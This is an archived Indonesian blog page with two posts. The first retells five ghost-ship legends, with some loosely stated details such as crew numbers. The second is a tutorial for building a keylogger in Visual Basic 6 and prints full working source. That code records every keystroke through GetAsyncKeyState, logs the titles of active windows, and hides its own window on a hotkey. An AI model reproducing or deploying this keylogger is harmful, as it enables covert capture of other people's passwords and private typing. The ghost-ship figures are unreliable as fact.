Archive for Februari 2013

5 kisah kapal hantu paling terkenal di dunia

Senin, 18 Februari 2013
Posted by Totok Jarwanto

da banyak cerita tentang Kapal Hantu di dunia ini, dari generasi ke generasi di ceritakan tentang cerita menyeramkan tersebut, termasuk diantaranya :
 

1. The Octavius

5 Kisah Kapal Hantu Paling Terkenal

Cerita dimulai dari sebuah Kapal penangkap ikan paus bernama Herald tahun 1775 di laut Arktik secara tidak sengaja menemukan sebuah kapal besar terapung-apung di lautan. Ketika di Dekati baru diketahui kapal tersebut bernama lambung The Octavius, The Octavius sendiri juga merupakan kapal penangkap ikan paus, tak ada tanda-tanda kehidupan di Kapal tersebut hingga seorang kru kapal Herald memberanikan diri untuk menaiki kapal tersebut.

Secara mengejutkan kru tersebut menemukan puluhan mayat kru kapal The Octavius tergeletak membeku, diduga kru-kru tersebut mati kedinginansetelah lama tersesat di lau Arktik dan kehabisan bekal. Yang paling mencengangkan ternyata Kapal The Octavius telah dilaporkan hilang 13 Tahun yang lalu, jadi selama jeda waktu tersebut Kapal tersebut hanya terombang-ambing di lautan, setelah penemuan kapal tersebut hingga kini tersiar kabar banyak kapal-kapal penangkap ikan melihat penampakan The Octaviusdi Lautan Arktik, ketika didekati kapaltersebut mendadak menghilang di dalam kabut.
 

2. The Joyita

5 Kisah Kapal Hantu Paling Terkenal

Ditahun 1955 sebuah kapal disewa oleh sekelompok nelayan yang berjumlah 25 orang yang digunakan untuk menangkap ikan di perairan Pasifik Selatan. dalam persetujuaan antara pihak penyewa dan pemilik kapa yang harus melapor setiap satu jam sekali namuan di jam ke 7 kapal tersebut tidak melaporkan diri. Demi keselamatan para awak kapal maka dikerahkanlah tim SAR untuk menemukan kapal tersebut.

Setelah pencarian yang melibatkan semua tim SAR yang ada. The Joyita tak ditemukan sampai akhirnya 5 minggu kemudian ditemukan terapung-apung sejauh 600 mil, atau 1000km dari tempatnya menghilang.

Ketika kapal ditemukan tak satupun dari 25 awak kapal tersebut di temukan, para tim SAR hanya menemukan kerusakan yang diduga sekelompok bajak laut telah menyerang kapal ini. dari hasil penyeledikan pula ditemukan beberapa ceceran darah di dek kapal, diduga para pembajak membunuh semua kru kapal dan melemparnya ke laut.
 

3. The Lady Lovibond

5 Kisah Kapal Hantu Paling Terkenal

Lady Lovibond adalah sebuah kapal yang digunakan sepasang pengantin baru untuk melakukan bulan madu, pada waktu bersamaan bebeberapa kru juga di ikut sertakan dalam kapal itu, salah satunya mantan pacar si istri yang tidak diketahui oleh si suami yang bernama Simon Peel, mantan pacar si istri merasa dendam lalu membunuh pasangan pengantin itu dan semua kru dengan belati, dan ia sendiri menabrakan kapal tersebut ke gugusan karang hingga tenggelam 13 Februari 1748.

Cerita keangkeran laut itupun masih ada hingga sekarang, laporan terakhir dari para nelayan yang pernah melihat kapal tersebut di tahun 1998 ketika melintasi gugusan karang ditempat kapal tersebut tenggelam.
 

4. The Mary Celeste

5 Kisah Kapal Hantu Paling Terkenal

Kapal bernama Mary Celeste, sebuah kapal dagang yang ditemukan tak berawak dan terapung-apung di Samudera Atlantik pada tahun 1872. hal yang paling mengerikan adalah ketika ditemukan kapal ini mengapung begitu saja dilautan tanpa ditemukan satupun awak, padahal saat berangkat kapal ini membawa setidaknya 80an awak

Temuan lain menyebutkan kapal ini berada pada kondisi yang sangat amat baik, tak ada kerusakan di dalam kapal bahkan layar kapalpun masih mengembang tanpa robek, cerita menakutkan lainya dari kapal The Mary Celeste adalah posisi barang-barang didalam kapal masih berada pada tempatnya.

Jika kapal ini dibajak kemungkinan barang-barang berharga pastilah akan menghilang dan setidaknya mungkin ada perlawanan yang bisa menimbulkan kerusakan namun semua itu tidak ditemukan di kapal ini. kru kapal ini bagai menghilang begitu saja secara misterius. beberapa teori gila tentang kapal ini pun mulai muncul dari secara tidak sengaja memasuki perairan segitiga bermuda sampai diculik Alien. namun semua itu tentang The Mary Celeste akan tetap menjadi misteri hingga kini.


5. The Flying Dutchman

5 Kisah Kapal Hantu Paling Terkenal
Patung Kapal The Flying Dutchman di tanjung harapan

Dan inilah cerita kapal hantu paling terkenal di dunia, The Flying Dutchman. sebuah kapal dagang asal Belanda pada tahun 1700an mengarungi samudra untuk melakukan perjalanan ke daerah kolonial saat itu (diduga Indonesia). taukahkamu di tahun 1700an terusan suez belum ada jadi jika kapal-kapal asal eropa yang ingin ke asia harus memutari benua afrika, daerah paling sulit dilalui saat itu adalah tanjung harapan, karena disana pertemuan arus antara samudra Hindia yang hangat dan samudra atlantik yang dingin menimbulkan arus laut paling ganas di dunia. dinamai Tanjung harapan karena untuk melewati tanjung ini satu-satunya yang dilakukan adalah berharap agar kapal tak ditelan arus ganas tanjung harapan.

5 Kisah Kapal Hantu Paling Terkenal
Kapal pesiar Disney sedang melewai patung Kapal The Flying Duchman

Arus ganas itupun memakan korban, sebuah kapal yang dikapteni oleh Van der Decken berkebangsaan Belanda berputar ditanjung tersebut karena tertelan arus laut, karena frustasi tak mampu keluar dari arus tersebut Van der Decken akhirnya frustrasi dan menjadi gila sehingga membunuh istrinya yang kebetulan dia ajak, tak berhenti sampai disana ketika sudah kehilangan akal Van der Decken bersumpah ia akan keluar dari pusaran raksasa yang lebarnya 300km akibat pertemuan 2 arus samudra, "walau sampai kiamatpun aku akan menemukan jalan keluar dari laut ini".

Tapi hal yang tidak ia ketahui tentang arus itu ialah tak seperti kapal jaman sekarang yang menggunakan tenaga mesin akan dengan mudah keluar dari arus itu. lain halnya jika yang berada di arus itu adalah kapal layar tahun 1700an sudah pasti tak akan mampu.

sampai akhirnya kapal tersebut hilang dan hingga sekarang tak pernah ditemukan, ada cerita mengatakan Van der Decken telah dikutuk karena perkataannya. sehingga ia dikutuk untuk terus berada di lautan, banyak cerita mengatakan melihat penampakan kapal tersebut hingga kini

Membuat Keylogger Dengan Visual Basic 6

Posted by Totok Jarwanto

Membuat Keylogger Dengan Visual Basic 6



  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE

  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label .


5.  Masukan Perintah dibawah ini.


  • Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
  • Private Declare Function GetForegroundWindow Lib “user32″ () As Long
  • Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
  • Private hForegroundWnd As Long
  • Private backs As BooleanPrivate Sub Command1_Click()
  • Timer1.Enabled = True
  • End SubPrivate Sub Command2_Click()
  • Timer1.Enabled = False
  • End SubPrivate Sub Command3_Click()
  • backs = True
  • End SubPrivate Sub Command4_Click()
  • backs = False
  • End SubPrivate Sub Form_Load()
  • backs = True
  • End Sub
  • Private Sub Label1_Click()
  • End Sub
  • Private Sub Label4_Click()
  • End Sub
  • Private Sub Label6_Click()
  • Timer1.Enabled = True
  • End Sub
  • Private Sub Label7_Click()
  • Timer1.Enabled = False
  • End Sub
  • Private Sub Label8_Click()
  • backs = True
  • End Sub
  • Private Sub Label9_Click()
  • backs = False
  • End Sub
  • Private Sub Text1_Change()
  • Text1.SelStart = 0
  • Text1.SelLength = Len(Text1.Text)
  • End Sub
  • Private Sub Timer1_Timer()
  • Dim x, x2, i, t As Integer
  • Dim win As Long
  • Dim Title As String * 1000
  • win = GetForegroundWindow()
  • If (win = hForegroundWnd) Then
  • GoTo Keylogger
  • Else
  • hForegroundWnd = GetForegroundWindow()
  • Title = “”
  • GetWindowText hForegroundWnd, Title, 1000
  • Select Case Asc(Title)
  • Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
  • Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
  • Text1.Text = Text1.Text & " ]” & vbCrLf
  • End Select
  • End If
  • Exit Sub
  • Keylogger:
  • For i = 65 To 90
  • x = GetAsyncKeyState(i)
  • x2 = GetAsyncKeyState(16)
  • If x = -32767 Then
  • If x2 = -32768 Then
  • Text1.Text = Text1.Text & Chr(i)
  • Else: Text1.Text = Text1.Text & Chr(i + 32)
  • End If
  • End If
  • Next
  • For i = 8 To 222
  • If i = 65 Then i = 91
  • x = GetAsyncKeyState(i)
  • x2 = GetAsyncKeyState(16)
  • If x = -32767 Then
  • Select Case i
  • Case 48
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
  • Case 49
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
  • Case 50
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
  • Case 51
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
  • Case 52
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
  • Case 53
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
  • Case 54
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
  • Case 55
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
  • Case 56
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
  • Case 57
  • Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
  • Case 112: Text1.Text = Text1.Text & ” F1 “
  • Case 113: Text1.Text = Text1.Text & ” F2 “
  • Case 114: Text1.Text = Text1.Text & ” F3 “
  • Case 115: Text1.Text = Text1.Text & ” F4 “
  • Case 116: Text1.Text = Text1.Text & ” F5 “
  • Case 117: Text1.Text = Text1.Text & ” F6 “
  • Case 118: Text1.Text = Text1.Text & ” F7 “
  • Case 119: Text1.Text = Text1.Text & ” F8 “
  • Case 120: Text1.Text = Text1.Text & ” F9 “
  • Case 121: Text1.Text = Text1.Text & ” F10 “
  • Case 122: Text1.Text = Text1.Text & ” F11 “
  • Case 123: Text1.Text = Text1.Text & ” F12 “
  • Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
  • Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
  • Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
  • Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
  • Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
  • Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
  • Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
  • Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
  • Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
  • Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
  • Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
  • Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
  • Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
  • Case 13: Text1.Text = Text1.Text & vbCrLf
  • Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
  • Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
  • Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
  • Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
  • Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
  • Case 32: Text1.Text = Text1.Text & ” “
  • Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
  • Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
  • Case 35: Text1.Text = Text1.Text & ” [ End ] “
  • Case 36: Text1.Text = Text1.Text & ” [ Home ] “
  • Case 37: Text1.Text = Text1.Text & ” [ Left ] “
  • Case 38: Text1.Text = Text1.Text & ” [ Up ] “
  • Case 39: Text1.Text = Text1.Text & ” [ Right ] “
  • Case 40: Text1.Text = Text1.Text & ” [ Down ] “
  • Case 41: Text1.Text = Text1.Text & ” [ Select ] “
  • Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
  • Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
  • Case 46: Text1.Text = Text1.Text & ” [ Del ] “
  • Case 47: Text1.Text = Text1.Text & ” [ Help ] “
  • Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
  • End Select
  • End If
  • Next
  • End Sub
  • Private Sub Timer2_Timer()
  • Dim a, b, x As Long
  • a = GetAsyncKeyState(120)
  • b = GetAsyncKeyState(121)
  • x = GetAsyncKeyState(16)
  • If a = -32767 And x = -32768 Then Me.Hide
  • If b = -32767 And x = -32768 Then Me.Show
  • End Sub



6.  Jalankan dengan menekan tombol F5

| Copyright © Totok Jarwanto |. Diberdayakan oleh Blogger.